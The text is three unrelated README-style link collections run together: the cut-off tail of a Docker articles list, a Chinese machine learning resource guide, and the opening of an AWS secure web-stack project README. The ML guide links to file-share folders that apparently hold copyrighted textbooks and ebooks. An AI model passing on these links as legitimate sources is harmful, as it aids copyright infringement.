* [SDN, Docker and the Real Changes Ahead](http://thenewstack.io/sdn-docker-real-changes-ahead/)
* [Four ways to connect a docker container to a local network](http://blog.oddbit.com/2014/08/11/four-ways-to-connect-a-docker/)
### About Monitoring
* [Gathering lxc and docker containers metrics](http://blog.docker.com/2013/10/gathering-lxc-docker-containers-metrics/)
* [nsinit: per-container resource monitoring of Docker containers on RHEL/Fedora](http://www.breakage.org/2014/09/03/nsinit-per-container-resource-monitoring-of-docker-containers-on-rhelfedora/)
* [Runtime Metrics](https://docs.docker.com/articles/runmetrics/)
* [Monitor Docker Containers with Prometheus](http://5pi.de/2015/01/26/monitor-docker-containers-with-prometheus/)
### About Private Registry
* [Docker Registry Rest API](http://tuhrig.de/docker-registry-rest-api/)
### API
* [Docker from a distance - the remote API](http://blog.trifork.com/2013/12/24/docker-from-a-distance-the-remote-api/)
* [KVM and Docker LXC Benchmarking with OpenStack](http://bodenr.blogspot.com/2014/05/kvm-and-docker-lxc-benchmarking-with.html)
### Performance
* [Performance Analysis of Docker on Red Hat Enterprise Linux 7](http://developerblog.redhat.com/2014/08/19/performance-analysis-docker-red-hat-enterprise-linux-7/)
* [Preview of Docker Benchmarking at Flux7](http://blog.flux7.com/blogs/docker/preview-of-docker-benchmarking-at-flux7)
* [Getting Started with Performance Analysis of Docker](http://www.breakage.org/2014/06/06/getting-started-with-performance-analysis-of-docker/)
* [Docker network performances](http://blog.loof.fr/2014/10/docker-network-performances.html)
* [Docker Containers: Smaller is not always better](http://matthewkwilliams.com/index.php/2015/04/19/docker-containers-smaller-is-not-always-better/)
### Process Management
* [Running systemd within a Docker Container](http://developerblog.redhat.com/2014/05/05/running-systemd-within-docker-container/)
## Think Deeply
* [docker is the heroku killer](http://www.brightball.com/devops/docker-is-the-heroku-killer)
* [boycott docker](http://www.boycottdocker.org/)
* [Docker isn't so bad](http://grahamc.com/blog/docker-isnt-so-bad/)
* [Is docker ready for production?](https://t37.net/is-docker-ready-for-production-feedbacks-of-a-2-weeks-hands-on.html?)
* [After Docker:Unikernels and Immutable Infrastructure](https://medium.com/@darrenrush/after-docker-unikernels-and-immutable-infrastructure-93d5a91c849e)
* [Docker’s Killer Feature](https://www.joyent.com/blog/dockers-killer-feature)
* [Linux Containers: Parallels, LXC, OpenVZ, Docker and More](http://aucouranton.com/2014/06/13/linux-containers-parallels-lxc-openvz-docker-and-more/)
* [dockerizability is better than dockerized](https://medium.com/@behruz/dockerizability-is-better-than-dockerized-3c08b9dbd84c)
* [Ignore the Hype: 5 Docker Misconceptions Java Developers Should Consider](http://blog.takipi.com/ignore-the-hype-5-docker-misconceptions-java-developers-should-consider/)
* [Challenges With Randomness In Multi-tenant Linux Container Platforms](http://blog.pivotal.io/cloud-foundry-pivotal/features/challenges-with-randomness-in-multi-tenant-linux-container-platforms)
* [Docker in Production: A History of Failure](https://thehftguy.wordpress.com/2016/11/01/docker-in-production-an-history-of-failure/)
## Rocket
* [App Container and Docker](https://coreos.com/blog/app-container-and-docker/)
* [App Container Specification](https://github.com/appc/spec/blob/master/SPEC.md)
* [Why Docker and Coreos'split was predictable](http://danielcompton.net/2014/12/02/modular-integrated-docker-coreos)
* [Of Containers, Dockers, Rockets, and Daemons](http://3ofcoins.net/2014/12/06/of-containers-dockers-rockets-and-daemons/)
* [Why CoreOS just fired a Rocket at Docker](https://gigaom.com/2014/12/02/why-coreos-just-fired-a-rocket-at-docker/)
* [Rocket vs Docker and The Myth of the “Simple, Lightweight Enterprise Platform](http://blog.xebialabs.com/2014/12/05/rocket-vs-docker-myth-simple-lightweight-enterprise-platform/)
* [What is Rocket and How It’s Different Than Docker](http://www.centurylinklabs.com/interviews/what-is-rocket-and-how-its-different-than-docker/)
## Underlying Techniques
### LXC
* [Exploring LXC Networking](http://containerops.org/2013/11/19/lxc-networking/)
* [Linux Containers](https://wiki.archlinux.org/index.php/Linux_Containers) (from archwiki)
### Cgroups
* [cgroups](https://www.kernel.org/doc/Documentation/cgroups/cgroups.txt) (from kernel.org)
* [Managing system resources on Red Hat Enterprise Linux 6](https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html-single/Resource_Management_Guide/index.html)
* [Cgroups](https://wiki.archlinux.org/index.php/cgroups) (from archwiki)
### Systemd
* [The systemd for Administrators Blog Series](http://0pointer.de/blog/projects/systemd-for-admins-1.html) (great series,check the index in [here](http://www.freedesktop.org/wiki/Software/systemd/))
* [Getting Started with systemd](https://coreos.com/using-coreos/systemd/) (from
coreos)
* [Systemd](https://wiki.archlinux.org/index.php/Systemd) (from archwiki)
* [Running Docker Containers with Systemd](http://container-solutions.com/2015/04/running-docker-containers-with-systemd/)
* [Docker without Docker](https://chimeracoder.github.io/docker-without-docker) (slide)
### Namespaces
* [Namespaces in operation](http://lwn.net/Articles/531114/)
* [Introduction to Linux namespaces – Part 1: UTS](https://blog.jtlebi.fr/2013/12/22/introduction-to-linux-namespaces-part-1-uts/)
/
[part2](https://blog.jtlebi.fr/2013/12/28/introduction-to-linux-namespaces-part-2-ipc/)
/[part3](https://blog.jtlebi.fr/2014/01/05/introduction-to-linux-namespaces-part-3-pid/)
/
[part4](https://blog.jtlebi.fr/2014/01/12/introduction-to-linux-namespaces-part-4-ns-fs/)
/[part5](https://blog.jtlebi.fr/2014/01/19/introduction-to-linux-namespaces-part-5-net/)
## Various Projects
### Compose
* [Docker Compose](http://docs.docker.com/compose/)
* [Announcing Docker Compose
](https://blog.docker.com/2015/02/announcing-docker-compose/)
### Swarm
* [Docker Containers at Scale (Our Take on Docker Swarm)](http://mesosphere.com/2015/02/26/deploying-with-docker-swarm/)
* [Getting Started with docker swarm](http://www.blackfinsecurity.com/getting-started-with-docker-swarm/)
* [Scaling docker with swarm](http://blog.docker.com/2015/02/scaling-docker-with-swarm/)
* [Intro to Docker Swarm: Part 1 - Overview](http://technolo-g.com/intro-to-docker-swarm-pt1-overview/) / [Part 2 - Configuration Options and Requirements](http://technolo-g.com/intro-to-docker-swarm-pt2-config-options-requirements/) / [Part 3 - Example Swarm SOA](http://technolo-g.com/intro-to-docker-swarm-pt3-example-architechture/) / [Part 4 - Demo](http://technolo-g.com/intro-to-docker-swarm-pt4-demo/)
* [Creating SSL/TLS Certificates for Docker and Docker Swarm](http://technolo-g.com/generate-ssl-for-docker-swarm/)
* [Running a Small Docker Swarm Cluster](http://blog.scottlowe.org/2015/03/06/running-own-docker-swarm-cluster/)
* [Running a Distributed Docker Swarm on AWS](https://www.linkedin.com/pulse/running-distributed-docker-swarm-aws-jay-johnson-6113375835559841792) (Mar 9, 2016)
* [Toward a Production-Ready Docker Swarm Cluster with Consul](https://medium.com/on-docker/toward-a-production-ready-docker-swarm-cluster-with-consul-9ecd36533bb8#.sltccot40) (Mar 2, 2016)
### Mesosphere
* [Launching a Docker Container on Mesosphere](https://mesosphere.com/docs/tutorials/launch-docker-container-on-mesosphere/)
* [Managing Docker Clusters Using Mesos and Marathon](http://beingasysadmin.wordpress.com/2014/06/27/managing-docker-clusters-using-mesos-and-marathon/)
* [Docker on Mesos](https://mesosphere.com/2013/09/26/docker-on-mesos/)
* [Running Docker Containers on Marathon](https://mesosphere.github.io/marathon/docs/native-docker.html)
* [Mesos + Docker Tutorial: How to Build Your Own Framework](http://codefutures.com/mesos-docker-tutorial-how-to-build-your-own-framework/)
* [Continuous Delivery with Docker on Mesos in less than a minute – Part 1](http://container-solutions.com/2015/03/continuous-delivery-with-docker-on-mesos-in-less-than-a-minute/) / [part2](http://container-solutions.com/2015/03/continuous-delivery-with-docker-on-mesos-in-less-than-a-minute-part-2/)
* [ArangoDB on Apache Mesos using Marathon and Docker](https://github.com/arangodb/Cookbook/blob/master/recipes/UsingArangoDBMesosphere.md)
* [TOWARDS DOCKER IN PRODUCTION WITH APACHE MESOS](http://www.ivoverberk.nl/towards-docker-in-production-with-apache-mesos/)
### Kubernetes
* [Deploying Kubernetes on CoreOS with Fleet and Flannel](https://github.com/kelseyhightower/kubernetes-fleet-tutorial)
* [Running Kubernetes Example on CoreOS, Part 1](https://coreos.com/blog/running-kubernetes-example-on-CoreOS-part-1/)
* [How To Install and Configure Kubernetes on top of a CoreOS Cluster](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-kubernetes-on-top-of-a-coreos-cluster)
* [Corekube: Running Kubernetes on CoreOS via OpenStack](https://developer.rackspace.com/blog/running-coreos-and-kubernetes/)
* [Play With Kubernetes Quickly Using Docker](https://zwischenzugs.wordpress.com/2015/04/06/play-with-kubernetes-quickly-using-docker/)
### Openstack
* [docker](https://wiki.openstack.org/wiki/Docker)
* [What is the future of the private cloud world, Mesos or OpenStack?](http://www.quora.com/What-is-the-future-of-the-private-cloud-world-Mesos-or-OpenStack?from=timeline&isappinstalled=0)
### Azure
* [Docker and Microsoft: Integrating Docker with Windows Server and Microsoft Azure](http://weblogs.asp.net/scottgu/docker-and-microsoft-integrating-docker-with-windows-server-and-microsoft-azure)
### Other Projects
* [Chef, Puppet, Heat, Juju, Docker, etc](https://docwhat.org/chef-puppet-heat-juju-docker-etc/)
* [Powerstrip: prototype Docker extensions today](https://clusterhq.com/blog/powerstrip-prototype-docker-extensions-today/?)
* [Docker extensions: the new Docker plugins model](https://clusterhq.com/blog/docker-extensions/)
* [Docker Without Containers: Introducing Pullcontainer --docker and CVFS](http://blog.terminal.com/docker-without-containers-pulldocker/)
* [Process Management with CFEngine](https://docs.docker.com/articles/cfengine_process_management/) (CFEngine)
* [Introducing flannel: An etcd backed overlay network for containers](https://coreos.com/blog/introducing-rudder/) (flannel)
* [Tiny docker operating system](https://blog.docker.com/2015/03/tiny-docker-operating-systems/) (Boot2Docker,RancherOS)
* [Deploying Docker applications on YARN via Slider](http://www.slideshare.net/hortonworks/docker-on-slider-45493303) (slide)(YARN)
## Usage
### Apps
* [Dockerizing a Python Web App](http://blogs.aws.amazon.com/application-management/post/Tx1ZLAHMVBEDCOC/Dockerizing-a-Python-Web-App)
* [Deploying NGINX and NGINX Plus with Docker](http://nginx.com/blog/deploying-nginx-nginx-plus-docker/)
* [Automated Nginx Reverse Proxy for Docker](http://jasonwilder.com/blog/2014/03/25/automated-nginx-reverse-proxy-for-docker/)
* [Transparent Squid in a container](https://github.com/jpetazzo/squid-in-a-can)
* [Deploying and migrating a multi-node ElasticSearch-Logstash-Kibana cluster using Docker](https://clusterhq.com/blog/deploying-multi-node-elasticsearch-logstash-kibana-cluster-using-docker/)
* [Node With Docker - Continuous Integration and Delivery](http://mherman.org/blog/2015/03/06/node-with-docker-continuous-integration-and-delivery/#.VPsh0YGUerE)
* [Rails on Docker](https://robots.thoughtbot.com/rails-on-docker)
* [Ad Hoc Log Analysis with Kibana and Docker](https://www.cloudgear.net/blog/2015/apache-log-analysis-with-kibana-docker/)
* [Networking Spark Cluster on Docker with Weave](http://weaveblog.com/2015/02/19/networking-spark-cluster-on-docker-with-weave/)
* [Breaking Data Out of the Enterprise](http://read.payne.io/2015/02/19/breaking_data_out_of_the_enterprise.html)
* [Using dockeer to build a data acqusition pipeline with kafka and hbase](http://svds.com/post/using-docker-build-data-acquisition-pipeline-kafka-and-hbase)
* [How to use MongoDB & NodeJS with Docker](http://ifdattic.com/how-to-mongodb-nodejs-docker/)
* [Wrapping Desktop Apps with Docker](http://container-solutions.com/2014/10/wrapping-desktop-apps-docker/)
* [Deploying RethinkDB applications with Docker using Dokku](http://rethinkdb.com/blog/dokku-deployment/)
* [Shipping Node.js Applications with Docker and Codeship](http://blog.risingstack.com/shipping-node-js-applications-with-docker-and-codeship/)
* [Elasticsearch, Weave and Docker](http://weaveblog.com/2015/01/20/elasticsearch-and-weave/)
* [Running libvirtd in a container](http://www.projectatomic.io/blog/2014/10/libvirtd_in_containers/)
* [Creating honeypots using Docker](http://itinsight.hu/blog/posts/2015-05-04-creating-honeypots-using-docker.html)
### GUI
* [Docker Containers on the Desktop](https://blog.jessfraz.com/posts/docker-containers-on-the-desktop.html)
* [Running GUI apps with Docker](http://fabiorehm.com/blog/2014/09/11/running-gui-apps-with-docker/)
* [Docker desktop: Your desktop over ssh running inside of a docker container ](http://fabiorehm.com/blog/2014/09/11/running-gui-apps-with-docker/)
### Service Discovery With Docker
* [Service Discovery Overview](http://www.simplicityitself.com/learning/getting-started-microservices/service-discovery-overview/)
* [Consul Service Discovery with Docker](http://www.davidmkerr.com/2014/08/dockerfile-golf-or-optimizing-docker.html)
* [Docker Service Discovery Using Etcd and Haproxy](http://jasonwilder.com/blog/2014/07/15/docker-service-discovery/)
* [Simulating service discovery in a development context with Docker and etcd](http://talwai.github.io/#/blog/post/discovery)
### Development And Deployment And Test
* [Docker: Git for deployment](http://blog.scoutapp.com/articles/2013/08/28/docker-git-for-deployment)
* [Eight Docker Development Patterns](http://www.hokstad.com/docker/patterns)
* [Deploy Java Apps With Docker = Awesome](http://blogs.atlassian.com/2013/06/deploy-java-apps-with-docker-awesome/)
* [Docker for Java Developers: How to sandbox your app in a clean environment](http://zeroturnaround.com/rebellabs/docker-for-java-developers-how-to-sandbox-your-app-in-a-clean-environment/)
* [Using Docker with Github and Jenkins for repeatable deployments](http://blog.buddycloud.com/post/80771409167/using-docker-with-github-and-jenkins-for)
* [Creating an ASP.NET vNext Docker Container using Mono](https://msopentech.com/blog/2014/11/07/creating-asp-net-vnext-docker-container-using-mono-2/)
* [Move fast and don’t break things! Testing with Jenkins, Ansible and Docker](http://blog.mist.io/post/82383668190/move-fast-and-dont-break-things-testing-with)
* [Docker and Phoenix: How to Make Your Continuous Integration More Awesome](http://ariya.ofilabs.com/2014/12/docker-and-phoenix-how-to-make-your-continuous-integration-more-awesome.html)
* [Docker in Action - Fitter, Happier, More Productive](https://realpython.com/blog/python/docker-in-action-fitter-happier-more-productive/)
* [Docker in Action - Development to Delivery ](https://blog.rainforestqa.com/2014-11-19-docker-in-action-from-deployment-to-delivery-part-1-local-docker-setup/) / [part2](https://blog.rainforestqa.com/2014-12-08-docker-in-action-from-deployment-to-delivery-part-2-continuous-integration) / [part3](https://blog.rainforestqa.com/2015-01-15-docker-in-action-from-deployment-to-delivery-part-3-continuous-delivery)
* [ASP.NET 5 development on OS X with Docker](http://open.bekk.no/aspnet5-development-on-osx-with-docker)
* [The decline of Java application servers when using docker containers](https://medium.com/@jstrachan/the-decline-of-java-application-servers-when-using-docker-containers-edbe032e1f30)
### Production
* [Docker at Lyst](http://developers.lyst.com/devops/2014/12/08/docker/)
* [Docker at Shopify: How we built containers that power over 100,000 online shops](http://www.shopify.com/technology/15934308-docker-at-shopify-how-we-built-containers-that-power-over-100-000-online-shops)
* [Intro to Docker ...and how we use it at writeLaTe
|
# 机器学习资源 Machine learning Resources
**致力于分享最新最全面的机器学习资料，欢迎你成为贡献者!**
*快速开始学习：*
- 周志华的[《机器学习》](https://pan.baidu.com/s/1hscnaQC)作为通读教材，不用深入，从宏观上了解机器学习
- 《机器学习》西瓜书公式推导解析：https://datawhalechina.github.io/pumpkin-book/
- 最新的[《神经网络与深度学习》](https://mp.weixin.qq.com/s?__biz=MzIwOTc2MTUyMg==&mid=2247488439&idx=1&sn=df51b67ac2a42fe1a8417a7e4d308b8b&chksm=976fb62aa0183f3c8cfbfcf2c1613aa3a168f782bc5b439aa2a5db9574a33f678a081a1d24a5&mpshare=1&scene=1&srcid=0409hgaWjfxz2LzGtniTpAKh&key=12a4c5f4665589b6914fa6a60a7fe4bd6a4fc4855ac8967b945678646a60c26482467697a46b85e85c7a6a7d564aac41d6c0312307a7f95ba299d3b3cf8433f9a159f999d9484534452672dbdd9fd270&ascene=1&uin=NjMzMjQzMTYw&devicetype=Windows+10&version=62060739&lang=zh_CN&pass_ticket=CIhr0hAvTnkZIvwFNRQ2%2BWhir8OVCkCt9tarvfIPS5SWtyyQKMLGOBt%2BItSffrll)
- 李航的[《统计学习方法》](https://pan.baidu.com/s/1dF2b4jf)作为经典的深入案例，仔细研究几个算法的来龙去脉 | [书中的代码实现](https://github.com/WenDesi/lihang_book_algorithm)
- 使用Python语言，根据[《机器学习实战》](https://pan.baidu.com/s/1gfzV7PL)快速上手写程序
- 来自国立台湾大学李宏毅老师的机器学习和深度学习中文课程，强烈推荐：[课程](http://speech.ee.ntu.edu.tw/~tlkagk/courses.html)
- 《迁移学习导论》助你快速入门迁移学习！ [书的主页](http://jd92.wang/tlbook)
- 迁移学习统一代码库：[Domain adaptation](https://github.com/jindongwang/transferlearning/tree/master/code/DeepDA) | [Domain generalization](https://github.com/jindongwang/transferlearning/tree/master/code/DeepDG) | [更多代码](https://github.com/jindongwang/transferlearning)
- 最后，你可能想真正实战一下。那么，请到著名的机器学习竞赛平台Kaggle上做一下这些基础入门的[题目](https://www.kaggle.com/competitions?sortBy=deadline&group=all&page=1&pageSize=20&segment=gettingStarted)吧！(Kaggle上对于每个问题你都可以看到别人的代码，方便你更加快速地学习) [Kaggle介绍及入门解读](https://zhuanlan.zhihu.com/p/25686876) [可以用来练手的数据集](https://www.kaggle.com/annavictoria/ml-friendly-public-datasets/notebook)
其他有用的资料：
- 想看别人怎么写代码？[机器学习经典教材《PRML》所有代码实现](https://github.com/ctgk/PRML)
- [机器学习算法Python实现](https://github.com/lawlite19/MachineLearning_Python)
- [吴恩达新书：Machine Learning Yearning中文版](https://pan.baidu.com/s/10kosKx6rDguS4tPejY-fRw)
- 另外，对于一些基础的数学知识，你看[深度学习(花书)中文版](https://github.com/exacity/deeplearningbook-chinese)就够了。这本书同时也是**深度学习**经典之书。
- 来自南京大学周志华小组的博士生写的一本小而精的[解析卷积神经网络—深度学习实践手册](http://lamda.nju.edu.cn/weixs/book/CNN_book.html)
- - -
[一个简洁明了的时间序列处理(分窗、特征提取、分类)库：Seglearn](https://dmbee.github.io/seglearn/index.html)
[计算机视觉这一年：这是最全的一份CV技术报告](https://zhuanlan.zhihu.com/p/31430602)
[深度学习(花书)中文版](https://github.com/exacity/deeplearningbook-chinese)
**[深度学习最值得看的论文](http://www.dlworld.cn/YeJieDongTai/4385.html)**
**[最全面的深度学习自学资源集锦](http://dataunion.org/29975.html)**
**[Machine learning surveys](https://github.com/metrofun/machine-learning-surveys/)**
**[快速入门TensorFlow](https://github.com/aymericdamien/TensorFlow-Examples)**
[自然语言处理数据集](http://abunchofdata.com/datasets-for-natural-language-processing/)
[Learning Machine Learning? Six articles you don’t want to miss](http://www.ibmbigdatahub.com/blog/learning-machine-learning-six-articles-you-don-t-want-miss)
[Getting started with machine learning documented by github](https://github.com/collections/machine-learning)
- - -
## 研究领域资源细分
- ### [深度学习 Deep learning](https://github.com/ChristosChristofidis/awesome-deep-learning)
- ### [强化学习 Reinforcement learning](https://github.com/aikorea/awesome-rl)
- ### [迁移学习 Transfer learning](https://github.com/jindongwang/transferlearning)
- ### [分布式学习系统 Distributed learning system](https://github.com/theanalyst/awesome-distributed-systems)
- ### [计算机视觉/机器视觉 Computer vision / machine vision](https://github.com/jbhuang0604/awesome-computer-vision)
- ### [自然语言处理 Natural language procesing](https://github.com/Nativeatom/NaturalLanguageProcessing)
- ### [生物信息学 Bioinfomatics](https://github.com/danielecook/Awesome-Bioinformatics)
- ### [行为识别 Activity recognition](https://github.com/jindongwang/activityrecognition)
- ### [多智能体 Multi-Agent](http://ddl.escience.cn/f/ILKI)
- - -
## 开始学习：预备知识 Prerequisite
- [学习知识与路线图](https://metacademy.org/)
- [MIT线性代数课堂笔记(中文)](https://github.com/zlotus/notes-linear-algebra)
- [概率与统计 The Probability and Statistics Cookbook](http://statistics.zone/)
- Python
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/python/)
- [Python机器学习互动教程](https://www.springboard.com/learning-paths/machine-learning-python/)
- Markdown
- [Mastering Markdown](https://guides.github.com/features/mastering-markdown/) - Markdown is a easy-to-use writing tool on the GitHu.
- R
- [R Tutorial](http://www.cyclismo.org/tutorial/R/)
- Python和Matlab的一些cheat sheet：http://ddl.escience.cn/f/IDkq 包含：
- Numpy、Scipy、Pandas科学计算库
- Matlab科学计算
- Matplotlib画图
- 深度学习框架
- Python
- [TensorFlow](https://www.tensorflow.org/)
- [Scikit-learn](http://scikit-learn.org/)
- [PyTorch](http://pytorch.org/)
- [Keras](https://keras.io/)
- [MXNet](http://mxnet.io/)|[相关资源大列表](https://github.com/chinakook/Awesome-MXNet)
- [Caffe](http://caffe.berkeleyvision.org/)
- [Caffe2](https://caffe2.ai/)
- Java
- [Deeplearning4j](https://deeplearning4j.org/)
- Matlab
- [Neural Network Toolbox](https://cn.mathworks.com/help/nnet/index.html)
- [Deep Learning Toolbox](https://cn.mathworks.com/matlabcentral/fileexchange/38310-deep-learning-toolbox)
- - -
## 文档 notes
- [综述文章汇总](https://github.com/allmachinelearning/MachineLearning/blob/master/notes/survey_readme.md)
- [近200篇机器学习资料汇总！](https://zhuanlan.zhihu.com/p/26136757)
- [机器学习入门资料](https://github.com/allmachinelearning/MachineLearning/blob/master/notes/MLMaterials.md)
- [MIT.Introduction to Machine Learning](http://ddl.escience.cn/f/Iwtu)
- [东京大学同学做的人机交互报告](https://github.com/allmachinelearning/MachineLearning/blob/master/notes/FieldResearchinChina927-104.pdf)
- [人机交互简介](https://github.com/jindongwang/HCI)
- [人机交互与创业论坛](https://github.com/allmachinelearning/MachineLearning/blob/master/notes/%E4%BA%BA%E6%9C%BA%E4%BA%A4%E4%BA%92%E4%B8%8E%E5%88%9B%E4%B8%9A%E8%AE%BA%E5%9D%9B.md)
- [职场机器学习入门](https://github.com/allmachinelearning/MachineLearning/blob/master/notes/%E8%81%8C%E5%9C%BA-%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E5%85%A5%E9%97%A8.md)
- [机器学习的发展历程及启示](http://mt.sohu.com/20170326/n484898474.shtml), (@Prof. Zhihua Zhang/@张志华教授)
- [常用的距离和相似度度量](https://github.com/allmachinelearning/MachineLearning/blob/master/notes/distance%20and%20similarity.md)
- - -
## 课程与讲座 Course and talk
### 机器学习 Machine Learning
[台湾大学应用深度学习课程](https://www.csie.ntu.edu.tw/~yvchen/f106-adl/index.html)
- [神经网络，机器学习，算法，人工智能等 30 门免费课程详细清单](http://www.datasciencecentral.com/profiles/blogs/neural-networks-for-machine-learning)
- [斯坦福机器学习入门课程](https://www.coursera.org/learn/machine-learning)，讲师为Andrew Ng，适合数学基础一般的人，适合入门，但是学完会发现只是懂个大概，也就相当于什么都不懂。省略了很多机器学习的细节
- [Neural Networks for Machine Learning](https://www.coursera.org/learn/neural-networks), Coursera上的著名课程，由Geoffrey Hinton教授主讲。
- [Stanford CS 229](http://cs229.stanford.edu/materials.html), Andrew Ng机器学习课无阉割版，Notes比较详细，可以对照学习[CS229课程讲义的中文翻译](https://github.com/Kivy-CN/Stanford-CS-229-CN)。
- [CMU 10-702 Statistical Machine Learning](http://www.stat.cmu.edu/~larry/=sml/), 讲师是Larry Wasserman，应该是统计系开的机器学习，非常数学化，第一节课就提到了RKHS(Reproducing Kernel Hilbert Space),建议数学出身的同学看或者是学过实变函数泛函分析的人看一看
- [CMU 10-715 Advanced Introduction to Machine Learning](https://www.cs.cmu.edu/~epxing/Class/10715/)，同样是CMU phd级别的课，节奏快难度高
- [机器学习基石](https://www.coursera.org/course/ntumlone)（适合入门）。国立台湾大学[林轩田](https://www.coursera.org/instructor/htlin)
- [机器学习技法](https://www.coursera.org/course/ntumltwo)（适合提高）。国立台湾大学[林轩田](https://www.coursera.org/instructor/htlin)
- [Machine Learning for Data Analysis](https://www.coursera.org/learn/machine-learning-data-analysis), Coursera上Wesleyan大学的Data Analysis and Interpretation专项课程第四课。
- Max Planck Institute for Intelligent Systems Tübingen[德国马普所智能系统研究所2013的机器学习暑期学校视频](https://www.youtube.com/playlist?list=PLqJm7Rc5-EXFv6RXaPZzzlzo93Hl0v91E),仔细翻这个频道还可以找到2015的暑期学校视频
- 知乎Live：[我们一起开始机器学习吧](https://www.zhihu.com/lives/792423196996546560)，[机器学习入门之特征工程](https://www.zhihu.com/lives/819543866939174912)
### 深度学习 Machine Learning
- 斯坦福大学Feifei Li教授的[CS231n系列深度学习课程](http://cs231n.stanford.edu/)。Feifei Li目前是Google的科学家，深度学习与图像识别方面的大牛。这门课的笔记可以看[这里](https://zhuanlan.zhihu.com/p/21930884)。
- [CS224n: Natural Language Processing](http://cs224n.stanford.edu). Course instructors: Chris Manning, Richard Socher.
### 强化学习 Machine Learning
- [CS 294 Deep Reinforcement Learning, Fall 2017](http://rll.berkeley.edu/deeprlcourse/). Course instructors: Sergey Levine, John Schulman, Chelsea Finn.
- [UCL Course on RL](http://www0.cs.ucl.ac.uk/staff/d.silver/web/Teaching.html)
- [CS234: Reinforcement Learning](http://web.stanford.edu/class/cs234/index.html). 暂无视频
- - -
## 相关书籍 reference book
- [Hands on Machine Learning with Scikit-learn and Tensorflow](https://my.pcloud.com/publink/show?code=XZ9ev77Zk2l6xcMtfIhHm7mRKAYhISb6sl3k)
- 入门读物 [The Elements of Statistical Learning(英文第二版),The Elements of Statistical Learning.pdf](http://ddl.escience.cn/ff/emZH)
- [机器学习](https://book.douban.com/subject/26708119/), (@Prof. Zhihua Zhou/周志华教授)
- [统计学习方法](https://book.douban.com/subject/10590856/), (@Dr. Hang Li/李航博士)
- [一些Kindle读物](http://ddl.escience.cn/f/IwWE):
- 利用Python进行数据分析
- 跟老齐学Python：从入门到精通
- Python与数据挖掘 (大数据技术丛书) - 张良均
- Python学习手册
- Python性能分析与优化
- Python数据挖掘入门与实践
- Python数据分析与挖掘实战(大数据技术丛书) - 张良均
- Python科学计算(第2版)
- Python计算机视觉编程 [美] Jan Erik Solem
- python核心编程(第三版)
- Python核心编程（第二版）
- Python高手之路 - [法] 朱利安·丹乔（Julien Danjou）
- Python编程快速上手 让繁琐工作自动化
- Python编程：从入门到实践
- Python3 CookBook中文版
- 终极算法机器学习和人工智能如何重塑世界 - [美 ]佩德罗·多明戈斯
- 机器学习系统设计 (图灵程序设计丛书) - [美]Willi Richert & Luis Pedro Coelho
- 机器学习实践指南：案例应用解析（第2版） (大数据技术丛书) - 麦好
- 机器学习实践 测试驱动的开发方法 (图灵程序设计丛书) - [美] 柯克（Matthew Kirk）
- 机器学习：实用案例解析
- [数学](https://mega.nz/#F!WVAlGL6B!mqIjYoTjiQnO4jBGVLRIWA
):
- Algebra - Michael Artin
- Algebra - Serge Lang
- Basic Topology - M.A. Armstrong
- Convex Optimization by Stephen Boyd & Lieven Vandenberghe
- Functional Analysis by Walter Rudin
- Functional Analysis, Sobolev Spaces and Partial Differential Equations by Haim Brezis
- Graph Theory - J.A. Bondy, U.S.R. Murty
- Graph Theory - Reinhard Diestel
- Inside Interesting Integrals - Pual J. Nahin
- Linear Algebra and Its Applications - Gilbert Strang
- Linear and Nonlinear Functional Analysis with Applications - Philippe G. Ciarlet
- Mathematical Analysis I - Vladimir A. Zorich
- Mathematical Analysis II - Vladimir A. Zorich
- Mathematics for Computer Science - Eric Lehman, F Thomson Leighton, Alber R Meyer
- Matrix Cookbook, The - Kaare Brandt Petersen, Michael Syskind Pedersen
- Measures, Integrals and Martingales - René L. Schilling
- Principles of Mathematical Analysis - Walter Rudin
- Probabilistic Graphical Models: Principles and Techniques - Daphne Koller, Nir Friedman
- Probability: Theory and Examples - Rick Durrett
- Real and Complex Analysis - Walter Rudin
- Thomas' Calculus - George B. Thomas
- 普林斯顿微积分读本 - Adrian Banner
- [Packt每日限免电子书精选](http://ddl.escience.cn/f/IS4a):
- Learning Data Mining with Python
- Matplotlib for python developers
- Machine Learing with Spark
- Mastering R for Quantitative Finance
- Mastering matplotlib
- Neural Network Programming with Java
- Python Machine Learning
- R Data Visualization Cookbook
- R Deep Learning Essentials
- R Graphs Cookbook second edition
- D3.js By Example
- Data Analysis With R
- Java Deep Learning Essentials
- Learning Bayesian Models with R
- Learning Pandas
- Python Parallel Programming Cookbook
- Machine Learning with R
---
## 其他 Miscellaneous
- [机器学习日报](http://forum.ai100.com.cn/)：每天更新学术和工业界最新的研究成果
- [机器之心](https://www.jiqizhixin.com/)
- [集智社区](https://jizhi.im/index)
- - -
## 如何加入 How to contribute
如果你对本项目感兴趣，非常欢迎你加入！
- 正常参与：请直接fork、pull都可以
- 如果要上传文件：请**不要**直接上传到项目中，否则会造成git版本库过大。正确的方法是上传它的**超链接**。如果你要上传的文件本身就在网络中（如paper都会有链接），直接上传即可；如果是自己想分享的一些文件、数据等，鉴于国内网盘的情况，请按照如下方式上传：
- (墙内)目前没有找到比较好的方式，只能通过链接，或者自己网盘的链接来做。
- (墙外)首先在[UPLOAD](https://my.pcloud.com/#page=puplink&code=4e9Z0Vwpmfzvx0y2OqTTTMzkrRUz8q9V)直接上传（**不**需要注册账号）；上传成功后，在[DOWNLOAD](https://my.pcloud.com/publink/show?code=kZWtboZbDDVguCHGV49QkmlLliNPJRMHrFX)里找到你刚上传的文件，共享链接即可。
## 如何开始项目协同合作
[快速了解github协同工作](http://hucaihua.cn/2016/12/02/github_cooperation/)
[及时更新fork项目](https://jinlong.github.io/2015/10/12/syncing-a-fork/)
#### [贡献者 Contributors](https://github.com/allmachinelearning/MachineLearning/blob/master/contributors.md)
|
# Argos
## Description
WARNING: LAUNCHING THIS WILL COST YOU MONEY
This is a fully end-to-end encrypted, auto-scaling, AWS Multi-tier LAMP webstack,
with ELK metrics and log monitoring, integrating osquery, and multiple AWS
security features. It enables groups to deploy a fully secured web stack, and
perform threat hunting. It is deployed with:
- [Packer](https://www.packer.io/) - AMI builder
- [Ansible](https://www.ansible.com/) - service configuration
- [Serverspec](http://serverspec.org/) - service verification
- [Terraform](https://www.terraform.io/) - cloud resource builder
Security requirements for:
- [PCI](https://www.pcisecuritystandards.org/)
- [FIPS](https://www.nist.gov/itl/popular-links/federal-information-processing-standards-fips)
